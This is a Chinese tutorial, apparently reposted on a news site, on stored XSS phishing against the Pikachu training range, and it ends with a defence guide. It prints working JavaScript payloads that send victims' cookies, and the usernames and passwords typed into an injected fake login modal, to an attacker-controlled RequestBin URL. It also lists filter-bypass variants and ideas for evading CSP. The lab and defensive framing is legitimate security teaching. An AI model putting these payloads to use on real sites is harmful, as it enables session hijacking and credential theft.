当前位置：首页 > news >正文

存储型XSS钓鱼攻击实战：从Pikachu靶场到防御体系构建

news 2026/7/4 11:57:22

1. 项目概述：从靶场到实战，钓鱼攻击的深度演练

最近在带新人做渗透测试的实战演练，发现很多朋友对“钓鱼攻击”的理解还停留在“发个假链接”的层面。这其实是一个很大的误区。真正的钓鱼攻击，尤其是结合了Web漏洞的进阶手法，其精巧程度和危害性远超想象。为了让大家能在一个安全、可控的环境里，把钓鱼攻击的整个链条——从漏洞利用、攻击载荷制作，到社会工程学话术设计——都亲手摸一遍，我强烈推荐使用Pikachu这个靶场。它不像一些复杂的综合靶场那样让人望而生畏，而是把一个个漏洞点拆解得非常清晰，特别适合用来专项突破。今天，我们就以Pikachu靶场为沙盘，深入拆解一次完整的“存储型XSS钓鱼攻击”，你会发现，原来一次成功的钓鱼，背后是漏洞利用、前端开发、心理学和运维知识的综合运用。

Pikachu靶场本身是一个集成了多种常见Web漏洞的练习平台，而其中的“跨站脚本攻击（XSS）”模块，尤其是存储型XSS，是实施钓鱼攻击的绝佳跳板。我们这次的目标，不仅仅是弹出一个警示框，而是要通过这个漏洞，在靶场中“钓”到管理员的会话Cookie，甚至构造一个以假乱真的登录页面，诱使其他用户输入凭证。这个过程，对于安全工程师来说，是理解攻击者视角、从而更好地设计防御策略的必修课；对于开发人员而言，则是深刻认识到未经验证的用户输入会带来何等可怕后果的生动一课。无论你是想入门渗透测试，还是想加固自己的Web应用，跟着走完这一趟，都会有脱胎换骨的感觉。

2. 攻击思路全景拆解：为什么是存储型XSS？

在动手之前，我们必须把攻击逻辑理清楚。钓鱼攻击有很多种，比如邮件钓鱼、网站克隆等，但我们今天聚焦的是基于Web漏洞的“水坑攻击”。所谓水坑攻击，就是攻击者先攻陷一个目标用户经常访问的合法网站，在其中植入恶意代码，等待用户“踩坑”。Pikachu靶场模拟的正是这种场景。

2.1 漏洞选择：存储型XSS为何是“王牌”

在XSS的三种类型（反射型、存储型、DOM型）中，存储型XSS是实施钓鱼攻击的首选。原因很简单：它的攻击载荷会被永久保存在服务器后端（比如数据库、文件系统），任何后续访问特定页面的用户都会自动执行恶意代码，攻击效果是持久化的。这就好比你在一个公共饮水机里下了药，所有后来喝水的人都会中招，而不需要你每次都去骗一个人来喝。在Pikachu靶场中，存储型XSS漏洞通常出现在留言板、用户资料、文章评论等需要保存用户输入的功能点。攻击者只需要成功提交一次恶意代码，就可以坐等所有查看该页面的用户（包括管理员）上钩，攻击效率和隐蔽性都极高。

2.2 攻击链条设计：从漏洞到控制

我们的攻击链条可以设计为以下几个关键阶段，这实际上也是真实攻击的缩影：

漏洞探测与利用：首先，我们需要找到Pikachu靶场中存储型XSS的输入点，并测试其过滤规则，构造一个能够成功存储并执行的XSS载荷。
攻击载荷制作：单纯的弹窗（<script>alert(1)</script>）没有实际危害。我们需要制作更具威胁的载荷，例如：
- Cookie窃取器：编写JavaScript代码，窃取受害者的会话Cookie，并自动发送到攻击者控制的服务器。
- 伪造登录框：在页面中嵌入一个与原站风格一致的假登录框，诱骗用户输入用户名和密码。
载荷投递与触发：将制作好的恶意代码提交到存在漏洞的输入点（如留言板）。当其他用户（尤其是拥有高权限的管理员）浏览该页面时，恶意代码自动执行。
信息收集与利用：攻击者从自己的服务器上获取窃取到的Cookie或凭证。利用Cookie，可以直接“变成”受害者，登录其账户；利用凭证，则可以尝试登录其他系统。

这个链条的核心在于，攻击的发生点（漏洞利用）和攻击的受益点（信息收集）是分离的。攻击者只需要突破一个点（网站漏洞），就可以威胁到所有访问用户，这放大了单一漏洞的破坏力。下面，我们就进入实战环节，一步步实现它。

3. 靶场环境准备与漏洞定位

工欲善其事，必先利其器。在开始“钓鱼”之前，我们需要把环境和工具准备好，并准确找到那个“鱼钩”应该放下的位置。

3.1 实验环境搭建

Pikachu靶场的搭建非常简单，这也是它受欢迎的原因之一。通常，它是一个基于PHP和MySQL的Web应用。

基础服务：你需要一个Web服务器环境。推荐使用XAMPP或PHPStudy这类集成环境，一键安装Apache、PHP和MySQL。以PHPStudy为例，启动Apache和MySQL服务。
部署靶场：从Pikachu的官方GitHub仓库或可信源下载源码包。将其解压到Web服务器的根目录（例如，XAMPP是htdocs， PHPStudy是WWW）。假设你解压后文件夹名为pikachu。
初始化数据库：访问http://localhost/pikachu/，页面通常会有一个链接提示你“初始化数据库”。点击它，脚本会自动创建所需的数据库和表。
访问靶场：初始化成功后，刷新页面即可看到Pikachu的主界面，左侧是清晰的漏洞模块导航。

注意：务必在虚拟机或隔离的网络环境中进行此实验。切勿在连接公司或生产网络的机器上部署和练习，以免产生不可预知的风险或违反安全规定。

3.2 工具准备

除了靶场，我们还需要几件“兵器”：

浏览器：Chrome或Firefox即可，主要用于访问靶场和测试。
浏览器开发者工具（F12）：这是我们的“显微镜”，用于查看页面HTML结构、网络请求和调试JavaScript。Network（网络）和Console（控制台）标签页会频繁使用。
Burp Suite Community版：功能强大的Web漏洞扫描和抓包代理工具。虽然社区版功能有限，但对于我们本次实验的抓包、改包、重放请求来说绰绰有余。我们需要配置浏览器代理（通常为127.0.0.1:8080）使其流量经过Burp。
一个接收数据的服务器：为了接收被窃取的Cookie或密码，我们需要一个公网可访问的端点。对于实验，可以使用一些免费的请求Bin服务，如RequestBin.com或WebHook.site。它们会提供一个唯一的URL，任何发送到该URL的请求都会被记录并展示出来，完美模拟攻击者的服务器。

3.3 定位存储型XSS漏洞点

打开Pikachu靶场，点击左侧的“跨站脚本攻击（XSS）”，然后选择“存储型XSS”。你会看到一个简单的留言板界面。这里就是我们的主战场。

初步测试：在留言输入框里，尝试输入经典的测试载荷：<script>alert('xss')</script>，然后提交。如果页面成功弹出了警示框，恭喜你，漏洞存在！但我们的目标不止于此。我们需要理解这个输入点是如何处理的。

深入探测：打开浏览器开发者工具的“网络（Network）”标签页，并勾选“保留日志（Preserve log）”。再次提交一个简单的测试语句，比如test<script>alert(1)</script>。观察提交的请求（通常是POST请求）。查看服务器返回的响应，以及页面是如何渲染你的输入的。重点是看我们的<script>标签是被原样输出，还是被进行了HTML编码（例如<被转义为<）。在Pikachu这个靶场里，为了教学目的，它通常没有做严格的过滤，我们的脚本会被成功存储和执行。

4. 攻击载荷的精心构造：从弹窗到“钓竿”

找到漏洞只是第一步，制作一个有效的“钓竿”（攻击载荷）才是技术活。下面我们构造两种最具代表性的载荷。

4.1 载荷一：会话Cookie窃取器

会话Cookie（通常是PHPSESSID）是维持用户登录状态的关键。拿到它，攻击者就能在浏览器中替换自己的Cookie，从而无需密码直接登录受害者的账户。

核心原理：利用JavaScript的document.cookie属性可以读取当前页面上下文下的所有Cookie。然后，我们需要将这些Cookie信息发送到攻击者控制的服务器。

构造Payload：

<script> var img = new Image(); img.src = 'https://your-request-bin-url?cookie=' + encodeURIComponent(document.cookie); </script>

代码拆解与原理：

var img = new Image();：创建一个隐藏的<img>标签对象。这种方式发送请求非常隐蔽，不会引起页面跳转或明显的网络活动，用户体验无感知。
img.src = 'https://...'：将图片的源地址设置为我们的接收服务器URL，并在后面以查询参数（?cookie=）的形式附带上窃取到的Cookie。encodeURIComponent函数用于对Cookie字符串进行URL编码，防止其中的特殊字符（如分号;）破坏URL结构。
当这段脚本在受害者的浏览器中执行时，浏览器会尝试加载这个“图片”，从而向我们的服务器发起一个GET请求，Cookie信息就这样悄无声息地泄露了。

在Pikachu中的实操：

打开RequestBin.com，创建一个新的Bin，你会获得一个类似https://xxxxxxxx.requestbin.com的URL。
将上面Payload中的your-request-bin-url替换成你的真实URL。
在Pikachu存储型XSS的留言板中，提交这个完整的<script>...</script>载荷。
提交后，以另一个浏览器或隐身窗口，访问靶场的留言板页面（模拟其他用户或管理员查看）。此时，恶意脚本会在后台执行。
立即刷新你的RequestBin页面，你应该能看到一条新的请求记录，点击查看详情，在“Query Strings”或“Raw Content”部分，就能看到窃取到的Cookie字符串了。

实操心得：在实际攻击中，攻击者可能会使用更短的域名或甚至利用短链接服务来隐藏恶意URL。此外，高级的载荷会尝试窃取HttpOnly的Cookie（虽然通过JS通常读不到，但会尝试），并收集用户的浏览器指纹、IP地址等信息一并回传。

4.2 载荷二：内嵌式钓鱼登录框

这种方法比单纯窃取Cookie更具欺骗性。它直接在受害网站页面中，渲染一个伪造的登录框，诱使用户输入账号密码。

核心原理：利用XSS向页面动态注入HTML和CSS，构造一个与原网站风格高度一致的登录表单。当用户提交表单时，通过JavaScript截获输入的数据，并发送到攻击者服务器，同时可能给出一个“登录成功”的假提示，掩盖攻击行为。

构造Payload：

<script> // 1. 创建钓鱼表单的HTML结构 var phishingForm = document.createElement('div'); phishingForm.innerHTML = ` <div id="phishing-modal" style="position:fixed; top:50%; left:50%; transform:translate(-50%,-50%); background:white; padding:30px; border-radius:10px; box-shadow:0 0 20px rgba(0,0,0,0.3); z-index:9999;"> <h3 style="color:red;">系统安全升级，请重新登录</h3> <form id="fake-login-form"> <p>用户名: <input type="text" name="username" required></p> <p>密 码: <input type="password" name="password" required></p> <button type="submit">登录</button> <button type="button" onclick="document.getElementById('phishing-modal').remove();">取消</button> </form> </div> `; // 2. 将表单插入到页面body中 document.body.appendChild(phishingForm); // 3. 拦截表单提交事件，窃取凭证 document.getElementById('fake-login-form').addEventListener('submit', function(event) { event.preventDefault(); // 阻止表单默认提交行为 var username = this.username.value; var password = this.password.value; // 将窃取的凭证发送到攻击者服务器 var exfil = new Image(); exfil.src = 'https://your-request-bin-url/steal?u=' + encodeURIComponent(username) + '&p=' + encodeURIComponent(password); // 给用户一个假提示，增加欺骗性 alert('登录成功！页面即将刷新。'); // 可选：移除钓鱼框，清理痕迹 document.getElementById('phishing-modal').remove(); // 可选：刷新页面，让用户感觉一切正常 location.reload(); }); </script>

代码拆解与原理：

创建与注入：使用document.createElement和innerHTML在内存中构建一个包含表单的div元素，然后通过appendChild将其插入到页面底部。这个表单被设计成模态框样式，覆盖在页面中央，非常具有迷惑性。
样式伪装：内联的CSS样式（style="..."）使其看起来像一个正经的系统弹窗。z-index:9999确保它显示在最顶层。
事件劫持：通过addEventListener监听表单的submit事件。当用户点击“登录”时，event.preventDefault()会阻止表单以常规方式提交（避免产生404错误引起怀疑）。
数据外传与反馈：获取输入框的值，同样通过伪造图片请求（Image()对象）的方式发送到攻击者服务器。随后，用alert模拟登录成功的提示，并移除钓鱼框、刷新页面，完成一次“完美”的欺骗。

在Pikachu中的实操：

同样，将Payload中的接收URL替换成你的RequestBin地址。
将这段较长的脚本提交到靶场的存储型XSS留言板。
换用另一个浏览器访问留言板页面。你会立刻看到一个逼真的“系统安全升级，请重新登录”的弹窗。
尝试输入一些测试凭证（如admin/test123）并点击登录。
查看RequestBin，你应该会收到一条包含用户名和密码的请求。

注意事项：这种攻击的成功率高度依赖于社会工程学技巧。弹窗的文案、样式是否与原站协调至关重要。在真实场景中，攻击者会花大量时间研究目标网站的UI设计，进行精准模仿。此外，更高级的攻击会判断当前用户是否已登录，如果已登录则不再显示钓鱼框，避免打草惊蛇。

5. 攻击的精细化与对抗绕过

在实际的安全防护中，网站通常会部署一些基础的防御措施，如输入过滤、输出编码、内容安全策略（CSP）等。我们的攻击载荷也需要相应进化才能生效。

5.1 应对基础的过滤与编码

假设靶场（或真实环境）对<script>标签进行了过滤，我们可以尝试多种绕过方式：

使用其他标签触发JavaScript：
```
<img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)>
```
这些标签的特定事件（onerror,onload）在特定条件下会被触发，从而执行JS代码。
大小写混淆/嵌套标签：
```
<ScRiPt>alert(1)</sCrIpT> <scr<script>ipt>alert(1)</scr</script>ipt>
```
如果过滤是简单的字符串匹配且不递归处理，嵌套标签可能绕过。

利用JavaScript伪协议：

<a href="javascript:alert(1)">点击这里</a> <iframe src="javascript:alert(1)">

在Pikachu中的测试：你可以在存储型XSS的输入点，尝试提交上述各种变形后的Payload，观察哪些能被成功存储和执行。这能帮助你理解该处过滤机制的强弱。

5.2 规避内容安全策略（CSP）

CSP是一个重要的浏览器安全特性，通过HTTP头定义页面允许加载哪些来源的资源（脚本、图片、样式等）。如果靶场设置了严格的CSP，我们内联的<script>标签和javascript:协议可能会被阻止。

探测CSP：打开浏览器开发者工具，查看“网络（Network）”标签页，找到当前页面的响应头，查看是否存在Content-Security-Policy头。

可能的绕过思路（如果CSP配置不当）：

允许unsafe-inline：如果CSP中包含了'unsafe-inline'，那么内联脚本仍然可以执行。但现代安全实践已不推荐此配置。
利用允许的域名加载外部脚本：如果CSP允许从某些特定域名加载脚本（如script-src 'self' https://cdn.example.com），攻击者可以尝试将恶意脚本上传到该允许的域名下，然后通过<script src="https://cdn.example.com/evil.js">引入。这需要攻击者能控制该域名下的资源。
JSONP劫持：如果CSP允许从目标站点的其他API接口加载资源，而该接口存在JSONP回调函数可被控制，也可能成为攻击向量。

对于Pikachu靶场，为了教学，通常不会设置严格的CSP，但我们了解这些对抗手段对于理解真实世界的攻防至关重要。

6. 从攻击到防御：深度复盘与加固指南

经过一番“攻击”操作，我们站在了攻击者的视角理解了存储型XSS钓鱼的威力。现在，让我们切换回防御者视角，思考如何构建铜墙铁壁。

6.1 漏洞根因深度分析

存储型XSS产生的根本原因，可以归结为一句话：不可信的用户输入，在没有经过充分净化的情况下，被当作代码（HTML/JS）解析和执行了。具体到开发层面：

输入验证缺失或不足：对用户提交的数据（如留言、昵称、评论）没有进行严格的格式、长度、类型检查。
输出编码不当：在将用户数据渲染到HTML页面时，没有根据其出现的上下文进行正确的编码。例如，在HTML正文中，应该对<,>,&,",'等字符进行实体转义；在HTML属性中，还需要注意引号；在JavaScript上下文中，规则又不同。
过于信任客户端：将一些安全逻辑（如输入过滤）完全放在前端JavaScript执行，攻击者可以轻松绕过。

6.2 多层次防御体系构建

防御XSS，绝不能只靠一招，必须建立纵深防御体系。

第一层：严格的输入验证与过滤

白名单原则：对于已知格式的数据（如邮箱、电话、数字ID），采用白名单验证，只接受符合严格正则表达式的输入。
长度限制：对输入字段设置合理的长度上限，防止过长的恶意载荷。
过滤危险字符：在服务器端，对输入中的<,>,script,javascript:等关键词进行过滤或转义。但要注意，过滤不能作为唯一手段，因为绕过方式太多。

第二层：正确的输出编码（最关键！）这是防御XSS最有效、最根本的手段。核心思想是：“数据”和“代码”必须分离。用户输入永远是数据，在输出到不同上下文时，必须进行相应的编码，使其不被解释为代码。

HTML实体编码：当用户数据输出到HTML标签之间时（如<div>{user_input}</div>），使用函数如PHP的htmlspecialchars($str, ENT_QUOTES)，将<,>,&,",'分别转换为<,>,&,",'。
HTML属性编码：当用户数据作为HTML属性值时（如<input value="{user_input}">），除了上述编码，还必须确保属性值用引号括起来。
JavaScript编码：当用户数据需要嵌入到<script>标签内时，情况非常复杂且危险，应极力避免。如果必须，需使用JSON.stringify()并确保输出在引号内。
URL编码：当用户数据出现在URL参数中时，使用encodeURIComponent。

第三层：启用内容安全策略（CSP）CSP是最后一道强有力的浏览器端防线。一个严格的CSP头可以极大地限制XSS攻击的影响范围。

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src *; font-src 'self'

这个策略表示：默认只允许加载同源资源；脚本只允许来自同源和trusted.cdn.com；样式允许同源和内联（unsafe-inline对于CSS有时难以避免）；图片可以从任何地方加载；字体只允许同源。通过禁止内联脚本和不信任的外部脚本，即使存在XSS漏洞，攻击者也很难执行有效的恶意代码。

第四层：其他安全机制

设置Cookie的HttpOnly和Secure标志：HttpOnly使Cookie无法通过JavaScript的document.cookie访问，能有效防御Cookie窃取。Secure要求Cookie仅通过HTTPS传输。
使用框架的自动转义功能：现代Web开发框架（如React, Vue, Angular, Django, Laravel等）默认都会对渲染到模板中的变量进行HTML转义，除非开发者显式声明不转义。这大大降低了开发者的犯错概率。
定期安全审计与渗透测试：使用自动化工具（如OWASP ZAP, Burp Scanner）和人工渗透测试，主动发现潜在漏洞。

7. 靶场演练的延伸思考与实战建议

通过Pikachu靶场的这次演练，我们完成了一次从漏洞发现、利用到深度防御的完整闭环。但这仅仅是Web安全的冰山一角。基于此，我想分享几点延伸的思考和给新手的实战建议：

首先，理解漏洞的本质比记住Payload更重要。存储型XSS的本质是“数据被当作代码执行”。无论前端技术如何变化（如单页应用SPA的流行），只要这个根本逻辑存在，XSS的变种（如基于DOM的XSS）就依然存在。你的防御思路也应该紧扣这个本质。

其次，工具是手臂，思维才是大脑。Burp Suite、浏览器开发者工具非常强大，但更重要的是你如何分析请求与响应，如何根据过滤情况调整攻击载荷，如何从错误信息中寻找突破口。多问“为什么这个Payload不行？”、“服务器返回了什么？”、“前端是如何处理的？”，这种探究精神是安全工程师的核心素养。

再者，将靶场经验映射到真实场景。在Pikachu里，漏洞点很明显。在真实网站中，你需要像“黑客”一样思考：哪里可能接受用户输入？留言、搜索框、用户资料、订单备注、文件上传名称、URL参数……每一个点都是潜在的测试目标。结合爬虫工具，可以系统地收集这些输入点进行测试。

最后，防守方需要建立“安全开发生命周期（SDL）”意识。安全不是功能开发完成后才贴上去的补丁。从需求设计阶段就要考虑安全（如权限最小化原则），在编码阶段遵循安全规范（如使用参数化查询防SQL注入，输出编码防XSS），在测试阶段进行专项安全测试，在部署阶段配置好安全策略（如CSP、WAF）。Pikachu这样的靶场，正是训练你具备这种“攻防一体”思维的最佳起点。

靶场通关不是终点，而是你网络安全实战能力的起点。当你能够熟练地在Pikachu中完成各种漏洞的利用与验证后，不妨尝试去挑战一些更复杂的综合性靶场（如DVWA、WebGoat、或者各类CTF题目），那里会有更接近真实环境的漏洞组合和防御机制，等待你去破解和思考。记住，最高的安全境界，是让攻击者无从下手，而这始于你对每一种攻击手法的透彻理解。

查看全文

http://www.jsqmd.com/news/1121521/